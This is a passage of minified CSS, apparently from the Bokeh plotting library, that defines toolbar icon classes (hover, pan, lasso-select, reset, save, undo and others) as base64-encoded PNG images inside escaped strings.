/qmI9BPKjHpSSXYauRyn92Nq9/Kcrj13x3s3v8D481glQ/0raiNYgX9njPSBOImbrHZePl+tfFmc9sH+Xaoh8NjOKSVdDMhjjYzQLy+dFceH5+IJQf9VYXX4tROg4ZFU8m31M3mfPEqUoJqCGJfvWpo2xnNfdrhC28n06SCeSzNZxlvBINGRXCtKS7EY1uV6V7HWAm38y1cXaXsMcOCvr9ySPj+af7A1U2HJXHzVNvUXVLIGyPf+jV0pf8GHoN+TLAyPkidTCi2RpPApmnR0Bd1zGRaB/B8Oj2HSw7LLbVR1MmskW8RdEWVXSJf3JbpAMgRtc4IZoxTh9qotQjCasm46M0YX9pV1VmbpvRH5OwwgdRtSg2vKaAz/1dNKVtb17Y8DCL4HVufHxMOYl1/zTgIgiYvBnFKfaNp3YjTdPz3n9Na8//X7/k/O1tdwopcZlcAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-hover{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4oVHp0SwAAAQJJREFUWMPtlsENgzAMRb8RQ5VJItFDOgaZAMaAA0iZpN3KPZSoEEHSQBCViI/G8pfNt/KAFFcPshPdoAGgZkYVVYjQAFCyFLN8tlAbXRwAxp61nc9XCkGERpZCxRDvBl0zoxp7K98GAACxxH29srNNmPsK2l7zHoHHXZDr+/9vwDfB3kgeSB5IHkgeOH0DmesJjSXi6pUvkYt5u9teVy6aWREDM0D0BRvmGRV5N6DsQkMzI64FidtI5t3AOKWaFhuioY8dlYf9TO1PREUh/9HVeAqzIThHgWZ6MuNmC1jiL1mK4pAzlKUojEmNsxcmL0J60tazWjLZFpClPbd9BMJfL95145YajN5RHQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-crosshair{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADEUlEQVRYR81XXVIaQRCeHqug8CXmBNETaE4gniDwIgpVspxAbxC9ATkBkCpQ8gKeQDiB5AQxNyAvUlrldr7eHxyGXZi1rMJ5opbp7m++7un+htSGF204vsoMoNXrlzSpfWa1oxQfhAegCZGaEtPorHo8znIoJwCt6+td8uk7ApUQCIHTF4BNAWzImq8ap6cP68CsBdDp9i9ZqXM7ML79g/EnCWD+jgMKENKqWT+tXK0CkQqgNRjs0OxpQIqKhoMxaG6/6JeRnK7T6yO2UvVqhYSlLX+ryORfgKn9ORDFIy7ky41yGcwsr0QAQfDH5zucOswx819fs4egI9OFCcD8DjBF7VNbEX0JzdWEt3NHSSASAcCxBDqMgt/623kvyTgNgNjJIfTjk4D4FqaJR1715MjmYAmA5Bx3AwUXQL+t105KaTlcBSC26XRvhjEIoLiq1yqXpr8FAGG16/ug4IT27fxBWu7EiQuAiImJpEMKE6nYM30uAIDDttSUOPfJP7JzbjPhAiBIh9QE67vIvoOi9WJfCwDavf40ulpjbCqmUf+W753ezURuh7Dg1SqflwAEHU6pgfyBq9Y4qx0LG++2fnZ/eUzcstmdM2AWH+jfc+liWdBJfSENf8Lifi3GVwC9mybOfi5dzatWVrbbLIHNva8p5h/16gkaFiLGGxbufkoE6XguwePiXLF3XmMfCUCUAqtKXU7sumd1CowOuJEi3Pg1FBpjitIGhyvVSfvmjci6ZR+rFQfDiPVE2jFYeICQ+PoewwjC5h7CZld6DBdyu6nDSKgzOyIMhmhK5TTqXYbRorZYM46TmpKAAOrGWwSJJekSB1yqJNOzp1Gs7YJ0EDeySDIMtJbQHh6Kf/uFfNFZkolJICRmz0P8DKWZuIG2g1hpok+Mk0Qphs0h9lzMtWRoNvYLuVImUWrmPJDlBKeRBDfATGOpHkhw670QSHWGLLckmF1PTsMlYqMJpyUbiO0weiMMceqLVTcotnMCYAYJJbcuQrVgZFP0NOOJYpr62pf3AmrHfWUG4O7abefGAfwH7EXSMJafOlYAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-lasso-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgwlGP1qdAAABMBJREFUWMO9V1uIVVUY/r61z57ZMx4DnbzgkbQXL5iCJphlWdpIGY4jpFBkEiU9ZNaDRRcITcIwMwgxoQtU2IMXdAZfMjFvpERXYiSbysyBEXFmyuHMnLP32uvrwT2xnY5nxvHQ93Jg7fWv71/r//7L4a59TRgqJk+Z6v3a+sv0OI5nk5wu6VaSVZImAThHsgjgrKTvM5nMUWvtmf5n8HodCIKgOgzDhc65pSTrJQWDsSNpJX1ljHnDOfdT37oZLLHv+8OMMasKhcIJ59xHAJYMlhwAJGUAzJfUTHLFuFzOG5QDU6dNMyQfs9Yedc5tBpAD4IYYNQGoBrDtQnt7/b0LFrJsCHzfn2itfQfAnZLiazytA3AaQAuAiwDaEgeNpGkkswAWSBqRONB38b88z5uTKePt6iiKXkk8jq+iJC5LOmiMaTLGHLPWhmWeHr7vV0dRtATAapAzIVmSo51zyzIlbm2stesFPA6pKk0r6Ryg93y/ek8YFvPOOTg3cDSiKCoC2OP7/rEoirYm4rUkF12lAWNM1lr7lqQn0+QA8gI2jBg5cj6Aj8OwmB+KAKIoukhyp6SRJAUgl0ndPLDWPi9pJQCbuviXvu+/GIZhW1dnJ24UJFuTjCCA2ADA8sYGWmsXS3qmL94kDYAtkh4Nw7ANlQJ5U6INT1KrAYC9zQdykl7nFSj5fXp5Y8NWVBhy7mUAjqShMYdMXV2dJ2klyRwAJ8lIeuGWCRMP7N7frEqSG2OmAFhKshNAp5wrmO7u7jEAngPQm1S2z2pqapr+OPt7XEly0oxwzq2RdFmSD2AMgKKJouhhAL4kA+Cs53l7e3t7uytJHgRBreTWkXwkKVJnJD0B4GAGwIJE9R6AFufc6UqSZ7PZbD6ff5dkA4CQZEHSqwAOISmXtwGIE+F1SeqqIP8d+Xz+C0mLJYWSAODteXffczjdDQNJ0BWMCoLg5gqIbRTJNwHsljQhUb0luWPM2LE7Thw/9m/5NCT/TByxAOYWi8X6/gdWV1dnfN8fNRBxJpMZTXKdc+6IpFVJWAEgkvSJpA0X2tvtVTaSjgOYBCAEEADYSHK87/sfhmEYA9gShuEDkgzJHyWtB/B1irQ2juP7ADxkrX0wOUOpzmdpzEY590HJ7Ni1r2kSyZOSiv2+hSRjSTXp/QAukzySNJOJkmalyNIl10hqMcasdc61XDNcQRD8BnITgNp+36r6kfcNFMMlLQGwTNLMEuQGQBfJl2bdPru+HDkAZAqFQux53jZHEsC6aw0eg2gylNRBcqcx5v04ji999+03AwsWAOI4Lsy9a94WkisAnE5a5WCJYwCfA1g7LJudI2lTHMeXBm1faiQzxkyRtF3S5CTupeAB+KG2tnZFT0/P30NO2VKLzrmfAbwGMipjG5Oc0dPTc0Md05SZ5U4Q2FxChErtEYD7jTGNQ3UgM8Asv90Yc9I5LSKRlXSI5CxJa0jWSALJjKRnAewfkniT+vwf7N7fXHK9rq7O7+jo+BTA/NRrdBpjnnLOnUrvXd7YMPQXSBunneno6IhIHgYwW1JtkgmBpBkATlVMAwOk3nFJ+VSoqgCMr6gIy2FcLtdKspAedyQN/98caDt/3kpyabUmf8WvG/8A1vODTBVE/0MAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-pan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4lKssI9gAAAOtJREFUWMPVll0KwyAMgNPgoc0JzDX2Mtgp3csKErSamGabIEUo/T6bHz0ezxdsjPJ5kvUDaROem7VJAp3gufkbtwtI+JYEOsHNEugIN0mgM1wtsVoF1MnyKtZHZBW4DVxoMh6jaAW0MTfnBAbALyUwCD6UwEB4VyJN4FXx4aqUAACgFLjzrsRP9AECAP4Cm88QtJeJrGivdeNdPpko+j1H7XzUB+6WYHmo4eDk4wj41XFMEfBZGXpK0F/eB+QhVcXslVo7i6eANjF5NYSojCN7wi05MJNgbfKiMaPZA75TBVKCrWWbnGrb3DPePZ9Bcbe/QecAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-xpan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4X4hxZdgAAAMpJREFUWMPtlsEKwjAMhr/pwOOedINJe/PobWXCfAIvgo/nA4heOiilZQqN2yE5lpD/I38SWt3uD9aMHSuHAiiAAmwaYCqoM/0KMABtQYDW11wEaHyiEei28bWb8LGOkk5C4iEEgE11YBQWDyHGuAMD0CeS30IQPfACbC3o+Vd2bOIOWMCtoO1mC+ap3CfmoCokFs/SZd6E0ILjnzrhvFbyEJ2FIZzXyB6iZ3AkjITn8WOdSbbAoaD4NSW+tIZdQYBOPyQKoAAKkIsPv0se4A/1UC0AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-ypan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4anK0lywAAAMVJREFUWMPtlzEKwzAMRX/S7rlpIMXeOnaLaME36FLo8XqCdNFghGljyc4kgQi2Q/SUj0F/eL7eMMTKz6j9wNlYPGRrFcSoLH4XxQPvdQeYuPOlcLbw2dRTgqvoXEaolWM0aP4LYm0NkHYWzyFSSwlmzjw2sR6OvAXNwgEcwAEcwAEcwAEcoGYk20SiMCHlmVoCzACoojEqjHBmCeJOCOo1lgPA7Q8E8TvdjMmHuzsV3NFD4w+1t+Ai/gTx3qHuOFqdMQB8ASMwJX0IEHOeAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-range{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABCJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZXNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+CiAgICAgICAgIDx0aWZmOlhSZXNvbHV0aW9uPjcyPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjMyPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT4xPC9leGlmOkNvbG9yU3BhY2U+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4zMjwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgICAgIDxkYzpzdWJqZWN0PgogICAgICAgICAgICA8cmRmOkJhZy8+CiAgICAgICAgIDwvZGM6c3ViamVjdD4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTgtMDQtMjhUMTQ6MDQ6NDk8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPlBpeGVsbWF0b3IgMy43PC94bXA6Q3JlYXRvclRvb2w+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgrsrWBhAAAD60lEQVRYCcVWv2scRxSemZ097SHbSeWkcYwwclDhzr1Q5T6QE1LghP6BGNIYJGRWNlaZItiFK1mr+JAu4HQu0kjpU8sgF3ITAsaFg0hOvt2Zyfvmdsa7a610Unx44Zgf773vvfneezPHNzrbhn3CT3xC3wPXYOC8LDzqdi8YY/gwh4BeknS/2th6dr2kf94AOp3OFyWgMyziOPbMDxV9FTtJnl1ut795Xd0/YQ0/vtYQwMT1KXWCfr2IjOWwtNehwN4xL9ykTrm6Pzl58yLn3J+mKh9mXbT3uRjGEDph+O8/TjfP5dBp7Ha7AX7O3o5nZeD/0E/OGyXntDgzA0X6qmCnrVutVlrUWV9f/3xo+pwhGDhvEPHOjoxnZjJggXmMHzBQ7NGNp9vxk61fr0HR7e/u7pZzCGHlc7qwBYYTT7tJYSx1AQzppyFPft5apta9w7SKcn0b7P7+/jCsDQ5mbc0dCmIJGDN0ehdcjsmkm6A6KUeKFOTE11PLxrC7Ukqh3ylL2fT0NAP9q6ur6rRCJJYsbKB0JsbCKMuy+xREePDyxQPCz+Crlw062QcA5wBOOt1l6vIl2WiI9F1fN6Q+BBqit6hEC4Hk08GQJMn4myjSP7RavVxgdaVUh/3U6HCMsPr9pYnJKRziHtWQ+un58+hGs6nsjQSjpuTyKGN3CX+FBwHXSiEVgjP+O8X6N12kIePES+GzTKAkGbNp8yJsGUMVzz8jPKReiyAQRimy5/cjye5RpF8utFp/+nwmT7d/NMzcFkS7yjJNGDaPURQxIQThEQy0SyF4l5WJYYhBa816vZ6dU7A6CAhbZVow/pDe0O9hVOoCi13r4BgBAvJHqMSQL2vE/iH6IAXEwgrRVUmBoRRwnwJQT98xEeVeSUyB4dJ5nwJBKdCFFGRmUCcu7rwIYypCTblaChuNBhWODrman5ub+4v0rMNBt8z6Ezh7GksJQpCbm79cMQE7QBFm/X6f0rjWnv8WRYg/QdbUpwDAEBy8vPyA8rNGzg3a8MiElwiM7dAtRqNoNptjGPM1laVxP9umWEMGLOKhKUOJDtBwDmzsw9fC/CzHr9SGuCTi2LbbKvVtmqXpCjMihBFa79Wrt5fGx9PDzc3fmu32Lf8qFliwU9emKhBSp+kRKn/hu9k1COEDbFdt/BoKWOAkuEbdVYyoIXv8+I/QK9dMHEb1Knb7MHOv8LFFOsjzCVHWOD7Ltn+MXCRF4729vWMDK+p8rLkvwjLg4N4v741m5YuwCI9CvHp1Ha8gFdBoPnQAkGsYYGxxcfEI7QQlFCTGUXwjAz4tWF+EpymOWu7fglE7qsOvrYE6g4+9/x/vhRbMdLOCFgAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-polygon-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjc1OfiVKAAAAe1JREFUWMPt1r9rU1EUB/DPK0XbqphFHETo4OCiFhwF0V1KHbRSROLqon+AUMVRRFBwEbRFMBiV+mMW/wIxi5OD1kERRVKRJHUwLvfBTZrU5OWBGXLgQu7Jfe98z/ec7z0vKa88b2q1BDtRHdAPBaylm1NzsxsOjPnPNt6WSWprbft+/c3I3zOAjhT1Y4+fvcjEQJIXnVECSa+AhqIHqlHH5lWCZoe+Gk4GRgDG86j9SAUdlDBSQaZhlOkuHyoVdJmsw98D1S5fM4NYM1LCpqM+Lwa240oLgmZzpVZvzKT75VLZcqksSZKWlQeAy/iORVwIvh31xvotvK7VG3Px4aWHj3Jl4C2uYSvq+Bn8v6LLbaVWb9zsBiKLCvbiNG7gLm7jAYqbPHMJMziZ9lsKoh8GtqCEVVzHftwJn+TFHp4/hg8BSCYVfMOZoPEv2NZGdy9WCGUr9toDR3E2/H4V6nwRe/BmgN65H1ZhvMuB3XiKIyFoGefwO6ysVkUlrNUNsyAK/jli533Q+Y8cJFvAeXyMS1CI/jiMr/gUtD2LQwMGr4R3p7bY3oQHQ5b38CT4D2AXXg6YcQXHpyYnlqKsi5iOAVSwL9zd7zJ09r+Cpwq72omFMazjT9Dnibym0dTkRDUKrrgwH7MwXVyYB38BstaGDfLUTsgAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-redo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4itK+dVQAAAaFJREFUWMPt1L1rFFEUBfDfJDaBBSslIFjbaSFp1FJQFMVCHkzhKIqdUYOCoBgErVz8rCwiTDMwBCIKipDWyip/gxAIWAmBgBC0eYFh2Gx2l9lFcA5M8e59782Zc84dWrT435Hs1siLchqn43MS0zgW22vYxjesYjVLw3YjBPKinMUTBOwf8J5fKLGYpWFjJAJ5Uc7gIW6jM6Kim3iNZ1katgYmEL/6I+YasvY7Lg6iRpIX5VF8wuEe/XV8wGf8jN6LWTiAc7iEQ7ucPZ+lYW0vAtfwvlbfwCKW9gpXDOv1mJvZHiSO91MiyYsyiQSuxtpXXM7SsDmM5nlRdrCMMz3sOJWl4Xevc/vwBzdwAl+yNNwZxfRI+GxelK9ikHcwh8d4NNR/YFRES1ZwoTYdR7I0rNf3TzVNIGbmSvR/Bx08mIgCFSVu4l2ltIWD9WxNGR+W8KOynqnZ0rwCeVG+wa0hjrxtWoF5dAfc28V8Mib/n+Nev5dnabg/zgw87aNEN/bHOwVRiRe4Wym9zNKwMKkpgIWKEt24njxiJlq0aPFv4i9ZWXMSPPhE/QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-reset{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4gWqH8eQAABLdJREFUWMPtlktsVGUUx3/nfvfOlLQaY2IiRRMQIRpI0PjamJhoVASDvNpCpYw1vJQYSVwZwIVQF6wwRHmkAUof9ElrI6VqDAXcID4TF0IiYQMkSlTokNCZ+b7jove2t+NMH7rQBWd3v+989/zP+Z8X3Jb/WGQySvUNTQBJESkNguAVYIWqzhaRhwBU9WcR+QXoymazn6jqzUQiMQSQzWZRVdal1vwzAI2tHQBPOuc2AbWTdOyQ53n7nHNfRwee51GzqoIQMCLDpr3x/tLQ0oZzrk5Vj0/BOEBt+KYuOlBVGlrahr0Wob27t3gEjnZ2AyQzmUwHsDgP6J/AYRE553neDwDOuUdU9QngNeCumK4TkRMhZUORcYC1qysLA6iuSQHIwkWLD6lqapQsuSmwTVV3h99I7EcAR462A2xR2Ilq6ehTaejvO1774kuLNALR33eclsaGsQDe3fYegHl43vyNwEeqGl1963mm2jl7YZRTQ82qlWP4HM6ZToC5ztkW4LHQoALru7s6Di5dvlIj/e6ujrEAWoZDn8hmMjXATMACGaAVuBjXTVVXFc/AxhaA+4zvn1DV+eHxVWPMAmvtb5GeMWZyZVhI2rt7qVy2pOh9U1snwIPW2vMi4oWJuBPYHkVAVScPoKmtkzVVK6cEMsyJraHhiCqJqJUwj/JRz7TW1iSSyR2rVyylqa0Ta+24Ic8vXaAEmDFc/l5Z2A/80OibuVyuz/f9ElUdHCmvw82t5HK5h6y1PYhsz2YyGw43t2KtBZHIGwB6+j4rCkBVUdV7gXrggnPuu8h4eP+xMeZS2D0rJYZ6AdAMzAt1b4nI26p6IFZOY8pugijcKSIHVLUK0LyST4vnrVfnWr3mjmP4QTATaERkXkypRFX3isjmuHdRJEK6Ckqquopp06bdKCkp2Sgi7XnGLcg7gzeutwNIiPYc8HixqIrIOlU9ONVIhHPEd851icgSVXUiskVV94gIqoonIt0i8gfQCfwae38e6BWRXuBZz5jZ8VbaOE4EIqlZVUEQBLlkMplS1QER2RwkEnsSyaREDUzyeNsvIhvCMqkH1kdIJ2o+k8iJB1LVVRfjZ6nqqlEAIbdVQGto8Lrv+/dbawcjAL7vc+6bs+zetetfLSHxniIFGofGGsU2oC7eOCbDfZ7nQawBOSAX74SF9oEPImOq+r7nmVmxb5raukZa8UReGmNmhbMkAwwBH467EYVZe49z7kdgenj8k7V2oTHm8kgdWcvrNdVFjR8cHkYzjDH9wLjDaEwEzpwa4MypgWvAjtjxfGNMj4jMiT+M+kFsZI/Q6Pv+HGNMT8w4wI7TAyevxXVPD5z8+zD64tRXAMHVK1eaVLUyVvuDqroV2BOnJF4ZIedviUidqt4Re9s+vbx8zZXLl7PR2+nl5Tz/zNOFp2FzxzGAklw22wUsLLaSKXwf8vhosZUM6PeDYEUum70VHfpBwKsVyyfeikOP6oBNwN1TrLbfgX3A1kKLzKeff8nLLzw38T5wZDgxn1LnNk5lLRfP26/OnR2hwfNYW2Atn9RCsrf+EECyrKysDFimqhXhyjY3VLkAXBKRDqA7nU6nS0tLhyIj6XSaN9bVclv+l/IXAmkwvZc+jNUAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-save{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4UexUIzAAAAIRJREFUWMNjXLhs5X+GAQRMDAMMWJDYjGhyf7CoIQf8x2H+f0KGM9M7BBio5FNcITo408CoA0YdQM1cwEhtB/ylgqMkCJmFLwrOQguj/xTg50hmkeyARAYGhlNUCIXjDAwM0eREwTUGBgbz0Ww46oBRB4w6YNQBow4YdcCIahP+H5EhAAAH2R8hH3Rg0QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-tap-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2hpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo3NzIwRUFGMDYyMjE2ODExOTdBNUNBNjVEQTY5OTRDRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpCOTJBQzE0RDQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpCOTJBQzE0QzQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgTWFjaW50b3NoIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6OTQ0QzIwMUM1RjIxNjgxMUE3QkFFMzhGRjc2NTI3MjgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NzcyMEVBRjA2MjIxNjgxMTk3QTVDQTY1REE2OTk0Q0UiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6eYZ88AAADLklEQVR42rSXf2TUYRzHv7tuGcfE6Vwb5zLSSjEj7Y9KWqfEmFZJP+yPMdKKmUrrn0iUfjhWlLFi6YfNrF+StBoTo39iYkTGco4xxxG59P7k/T2PT8/37nu3bx9ezvPj+zyf5/PreS78bGLS8SmrwE6yje3NHJsDBTALpknBz6JhH3NiYAB0gHqPOVv52wJ6QQ48BzdAttTioRJjdeA8mAHHS2xuk3p+M8M16ipVQE49Ds6CiFO9RLjGONf05QLx6wPQaBlbBlPgJVgkP0ETiIJ2sB/E1XfimjfgBOOlKDUqCGOcqBcQnw6BYW5YTo4wbvQhMmCfGRemC2rBiGXzWUb+kM/NRZ6CHWBM9ce5R61NgX6ayhSJ5EPlItlDRNkz4JbFHf06BkSzHjXxM+gDv1S/mPUo2AXWgt9UUHL/IVhS8yUV1/EbV3o4N+NaoE9Fu/i827K5pNYHnqAVJECShWmAaddpscYFFXwR7vnXBRGlnUN/L6kqKJlxnRUuDbaDBiL+vst5d4gpcpBrqk/2jIgCKVUolhntplzivHmwh4stGOPfwBWwl/2dpp8p7xjQZqFLiQJtauKkivYm+kzccpK57yXfOUe+P23JqAnVbhMFmlXntCWnxbT31am9ZJ4BJifsUmNTqt0cYhA5ypympPg7VkEKunPbVb8cIG+0kyHLJZNR7fUMooUKFHAPkfQo58VLK+RzwRDd4FdWG9mjpaAXzqkJa1R7kQttqEABWXMjOOxxVRfnhRm5URX1prk/0pQHwNcKlchZ+jdpC+hFdVqO0my9Hj5dkYgCn1Rfh/KdlNDHrJhPqlDih+IfBd6qwpOgEqYMsorJ2HtWxtagLJDn/W3KRfPOZhoeBJfZPgVeGKeKrkQBh5dLXl25Ny3pc4/1fkTdbvFqFQgbxWeYD0hXulhQ0pYiM1jG547fcbMQpVnHTZEn9W3ljsCzwHxCdVteNHIZvQa7/7cC7nV6zHIfyFP9EXjFa7YxKAVqPP4bxhhoLWW+z9JyCb6M/MREg59/RlmmXbmneIybB+YC/ay+yrffqEddDzwGvKxxDmzhc0tc80XVgblqFfgjwAAPubcGjAOl1wAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-undo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4em8Dh0gAAAatJREFUWMPt1rFrFFEQBvDfGhACASshkL/ALpWVrSAKEQV5sIULWlgZNSgIFkGIVQ412gkBt1lYLERREFJqJRaW1oHAoZUQsDqwecWy7N3tbe6C4H2wxc682Zn3zTfvLXPM8b8j6RqYF+UCzsfnHBawGt3fMcAX7GEvS8NgKgXkRbmMxwg41TLsN0psZmnodyogL8pFPMIdLHUk7hA7eJKl4U/rAuKu3+HslFr/FZezNPSTFslX8QErDe4DvMVH/Iq9F7VwGpdwZUjsPtaSFjv/1vCBPjaxO0xcNbHejLpZrrlvJCMCT+JzA+2fcC1Lw+GE4l3CG1yIptfjCtiKoqtiJ0vD3aM0Py/K57iIMxgkQxat4EdN7e9xdRzlk+LEEPvDWvIDXJ928sYxjL36icWK+VaWhlezOIqbGFirJd/H7szugrwoX+D2BDEvszSsT5OBdfRaru/F9dPXQF6U27g/KnmWhgctxqyzBrZGMNGL/rHI0nDkKXiKexXTsywNGx0OnFbFNk3BRoWJXnw//j+ivCi32/S8CxPVNiWOAdUiJtXITIqYY45/Cn8B2D97FYW2H+IAAAAASUVORK5CYII=\\\\\\\")}.bk-root 